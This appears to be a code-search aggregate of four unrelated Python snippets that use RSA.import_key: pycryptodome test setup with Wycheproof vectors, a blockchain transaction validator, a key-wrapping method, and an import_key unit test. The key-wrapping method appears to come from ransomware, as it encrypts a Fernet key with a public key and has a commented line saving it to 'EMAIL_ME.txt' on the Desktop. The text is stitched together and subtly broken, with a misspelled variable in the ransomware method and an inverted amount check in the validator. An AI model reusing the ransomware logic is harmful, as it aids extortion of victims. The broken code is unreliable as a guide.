def setUp(self): comps = "Crypto.SelfTest.Signature.test_vectors.wycheproof".split(".") with open(pycryptodome_filename(comps, "rsa_signature_test.json"), "rt") as file_in: tv_tree = json.load(file_in) class TestVector(object): pass self.tv = [] for group in tv_tree['testGroups']: key = RSA.import_key(group['keyPem']) hash_name = group['sha'] if hash_name == "SHA-256": hash_module = SHA256 elif hash_name == "SHA-224": hash_module = SHA224 elif hash_name == "SHA-1": hash_module = SHA1 else: assert False assert group['type'] == "RSASigVer" for test in group['tests']: tv = TestVector() tv.id = test['tcId'] tv.comment = test['comment'] for attr in 'msg', 'sig': setattr(tv, attr, unhexlify(test[attr])) tv.key = key tv.hash_module = hash_module tv.valid = test['result'] != "invalid" tv.warning = test['result'] == "acceptable" self.tv.append(tv)
def validate_transaction_data_consensus(transaction, blockchain): """ validates the transaction's data :param transaction: transaction to validate :type transaction: Transaction :param blockchain: blockchain to use to check transaction's validity :type blockchain: Blockchain :return: True if transaction is valid, False if not :rtype: tuple """ # validate input sources and signatures input_amount = 0 output_amount = 0 for input1 in transaction.inputs: block = blockchain.get_block_consensus_chain(input1[1]) input_transaction = block.transactions[input1[2] - 1] appears = False for source_output in input_transaction: if source_output[0] == input1[0]: appears = True input_amount += source_output[1] if not appears: return False, "transaction input's source does not appear in source block" hasher = SHA256.new(transaction.signing_format().encode("utf-8")) verifier = PKCS1_v1_5.new(RSA.import_key(input1[0])) if not verifier.verify(hasher, input1[3]): return False, "signature is not valid" # input sources and signatures are valid, check that input amount equals output amount for output in transaction.outputs: output_amount += output[1] if not output_amount - input_amount: return False, "input and output amounts are not equal" # input amount equals output amounts, validate that no transactions are a double spend for input1 in transaction.inputs: for x in range(input1[1] + 1, len(blockchain) + 1): block = blockchain.get_block_consensus_chain(x) for block_transaction in block.transactions: for input2 in block_transaction.inputs: if input2[0] == input1[0] and input2[1] == input1[ 1] and input2[2] == input1[2]: return False, "double spend" return True, ""
def encrypt_fernet_key(self): with open('fernet_key.txt', 'rb') as fk: fernet_key = fk.read() with open('fernet_key.txt', 'wb') as f: self.public_key = RSA.import_key(open('public.pem').read()) public_crypter = PKCS1_OAEP.new(self.public_key) enc_fernent_key = public_crypter.encrypt(fernet_key) f.write(enc_fernet_key) #with open(f'{self.sysRoot}Desktop/EMAIL_ME.txt', 'wb') as fa: #fa.write(enc_fernent_key) self.key = enc_fernent_key self.crypter = None
def test_import_key(self): """Verify that import_key is an alias to importKey""" key = RSA.import_key(self.rsaPublicKeyDER) self.assertFalse(key.has_private()) self.assertEqual(key.n, self.n) self.assertEqual(key.e, self.e)